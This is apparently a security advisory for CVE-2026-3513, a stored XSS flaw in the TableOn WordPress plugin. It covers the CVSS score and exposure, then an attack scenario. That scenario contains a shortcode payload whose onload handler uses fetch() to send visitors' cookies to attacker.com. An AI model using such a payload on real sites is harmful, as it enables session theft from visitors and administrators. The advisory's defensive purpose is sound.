Tableon Wordpress Posts Table Filterable CVE-2026-3513

The CVSS 3.1 score of 6.4 reflects a medium-to-high severity rating driven by network attack vector (AV:N), low attack complexity (AC:L), and low privilege requirements (PR:L), but limited scope change (S:C) and low confidentiality/integrity impact (C:L, I:L). However, the real-world risk is context-dependent and varies by deployment: the vulnerability requires authentication (Contributor role or higher), which substantially reduces exposure compared to unauthenticated XSS. The requirement for PR:L (low privilege, meaning the attacker must have a valid user account) creates an inherent gate; many WordPress sites restrict Contributor access to trusted users, further limiting attack surface. Conversely, sites allowing open user registration or with permissive role delegation face higher risk. The stored XSS nature means the payload persists and re-executes on every page view by any user, potentially enabling credential theft, malware injection, or defacement at scale. Exploitation probability is moderate: the attack requires a valid WordPress account and knowledge of shortcode syntax, but no sophisticated technical barriers exist. The absence of KEV status, public POC, or reports of active exploitation suggests this remains a low-priority threat in the wild, but organizations running the TableOn plugin with exposed Contributor-level accounts should prioritize patching.

An attacker with a Contributor-level WordPress user account edits or creates a page containing the vulnerable shortcode: [tableon_button class="x" onload="fetch('https://attacker.com/steal?cookie=' + document.cookie)"] help_title="Malicious Help". When any site visitor (including administrators) views the page, the unescaped onload event handler executes in their browser context, exfiltrating session cookies or other sensitive data. The stored nature means the payload remains active indefinitely until the page is edited or the plugin is updated, allowing continuous exploitation across all site visitors without requiring the attacker to remain online or repeat the attack.